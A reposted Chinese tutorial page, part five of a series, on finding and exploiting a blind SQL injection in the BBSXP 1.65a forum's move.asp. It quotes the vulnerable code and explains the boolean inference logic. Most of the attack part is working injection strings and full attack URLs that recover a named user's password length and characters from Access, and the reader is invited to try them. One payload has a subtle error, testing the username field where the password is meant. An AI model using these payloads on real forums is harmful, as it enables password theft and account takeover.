争怎路由网:是一个主要分享无线路由器安装设置经验的网站,汇总WiFi常见问题的解决方法。

BBSXP漏洞[倒着看5]

时间:2024/5/8作者:未知来源:争怎路由网人气:

网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。

BBSXP漏洞[倒着看五]天知道我哪这么有空来慢慢写这些鬼东西,可能是因为无聊吧,或者是想赶快把这个恼人的系列结束掉。南京这里天气太热,躲在实验室里给导师看到在玩的话就糟糕了,于是只好装模做样的弄点事情来做,算是对得起实验室的经费吧。
  一到四朋友看了都说写得很糟糕,我一边看着他们摇头一边直冒汗,等他们摇完头我衣服都湿透了,只好勉强挤出一点笑容然后赶快跑掉。我知道他想说什么,但是我不想连续点上半个小时的头,那样的话不如回来写五。鉴于前面写得如此糟糕,我会尝试用另外的方法来写写。



  其实在有源代码的情况下找漏洞是很简单的,你需要付出的是一点点时间和细心。看代码有很顺利和不太顺利的时候,顺利的时候就像拉肚子,西里哗啦一会儿就看完找到问题了,不顺利的时候就像便秘,拖拖拉拉半天都看不了多少。这和代码写的质量也有关系,写得好的代码别人很容易接受,写得不好的代码看起来就是一场灾难。如果说代码是食物而看代码是吃饭的话,美妙的代码就应该像馊了的稀饭一样,别人一吃就拉。当然,胃是可以锻炼的,平时多看代码,即使像BBSXP一样坚如玄铁的代码,吃下去一样可以西里哗啦。
  比如我们要找SQL Injection的漏洞,自然会到生成SQL查询语句的代码中去搜寻。一般来说,满足两个条件的就可以:一、生成的SQL查询语句中包含我们提交的内容;二、提交的内容没有过滤或者是过滤不完全,像1.65a版move.asp行22:



sql="select * from forum where ID="&ID&" and forumid="&forumid&""



  里面有两个变量,都有可能满足上面的两个条件,往上看ID和forumid从何而来,行4、5:



ID=Request("ID")
forumid=Request("forumid")



  都是用户提交的,满足第一个条件。当然还要看看是否满足第二个条件,行6、7、8:



if isnumeric(""&forumid&"") = flase then
error("<li>非法操作")
end if



  这个是说forumid是检查了的,如果不是数字的话就会导致一个“非法操作”,但是我们看到代码里面并没有对ID进行检查,这就满足第二个条件了。事实上VB对变量的类型不是特别的严格,看起来ID好像应该是一个整型,但我们提交一个字符串型的ID也不会造成错误,真是很遗憾啊。
  依据数据库的类型,我们可以作出不同的攻击策略,如果是MSSQL,这是支持多语句查询的,而且可以利用存储过程,相对来说简单一点;如果是ACCESS,最多就只能在一个库里面跨表操作,且只支持单一语句查询,功能要弱一些,一般以猜测密码为最终的目的。其实对于MSSQL进行攻击也是很有趣的,有时候也会要一些很巧妙的技巧,不过鉴于大部分BBSXP都是用的ACCESS,就不讨论MSSQL下的攻击了。
  我们先看这样一句查询语句:



select * from forum where id=1 and 1=(select count(*) from user) and forumid=1



  执行这个就返回的结果来看,可以是空或者非空,关键在于where后面的条件。分开来看的话,可以是三个条件的合取范式,抛开id=1和forumid=1,来看看中间的一个条件:



1=(select count(*) from user)



  这个条件为真的话,整个范式就为真,也就是说查询后的返回集不为空,否则的话返回集就是一个空集。这个条件是说user表里面的列项是否为1,由于我们可以获知返回集的空与非空的情况,进一步就可以知道user表里面的列项是否为1了。一句话,上面的查询语句返回结果为空,就是说user表里有1个列,否则user表里面列项就不为1。
  这是很容易理解的,弄懂了这个,就可以构造条件来让对方回答是或者否了。猜谜码除了问你的密码是不是xxxxxxx以外,还可以问你的密码第x位是不是x,你的密码是不是一共有x位等等,我们就是这样猜出别人的密码的,打个比方,我们问,never的密码长度是不是7位啊,条件就这样写:



1=(select count(*) from user where username='never' and len(userpass)=7)



  要是猜对方的第a位密码是不是'x',就这样构造条件:



1=(select count(*) from user where username='never' and right(left(username,a),1)='x')



  通过对方回答是还是不是就可以猜出来了。嗯,这仅仅是构造了条件,如果是完整的一个查询语句的话,应该是这样,我们还是完整的写出来,虽然有点长:



select * from forum where id=1 and 1=(select count(*) from user where username='never' and len(userpass)=7) and forumid=1



  这是问never的密码长度是不是7位的查询语句,比较一下move.asp第22行的那个语句,看出来id为什么的时候就成了上面一条了吗?



ID="1 and 1=(select count(*) from user where username='never' and len(userpass)=7)"
forumid=1



  于是我们又倒回来,只要提交上述的id和forumid值,不就可以慢慢的猜随便那个人的密码了吗?



  明白了道理,利用就简单了。按照对代码的分析,如果查询后的结果rs为空,后面调用了rs的属性,一定会报错,如果rs不为空,那么一切正常。换句话说,猜对了的话,看到的就是正常的信息,猜错了的话就会看到这样的错误:



"BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。"



  实战演练一下,随便以一个人登陆,然后在地址栏中键入:



http://localhost/bbsxp/move.asp?forumid=1&id=1 and 1=(select count(*) from user where username='never' and len(userpass)=7)



  哗,返回了一个空白页,看代码就可以看到上面的错误信息,也就是说密码不是7位。再猜猜密码是不是9位。



http://localhost/bbsxp/move.asp?forumid=1&id=1 and 1=(select count(*) from user where username='never' and len(userpass)=9)



  哗,显示出来将帖子移动到什么地方的选项,没有错误信息,也就是说密码就是9位了。同样,下面就应该来慢慢的猜每一位的密码,自己可以试试?

网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。



关键词:BBSXP漏洞[倒着看5]




Copyright © 2012-2018 争怎路由网(http://www.zhengzen.com) .All Rights Reserved 网站地图 友情链接

免责声明:本站资源均来自互联网收集 如有侵犯到您利益的地方请及时联系管理删除,敬请见谅!

QQ:1006262270   邮箱:kfyvi376850063@126.com   手机版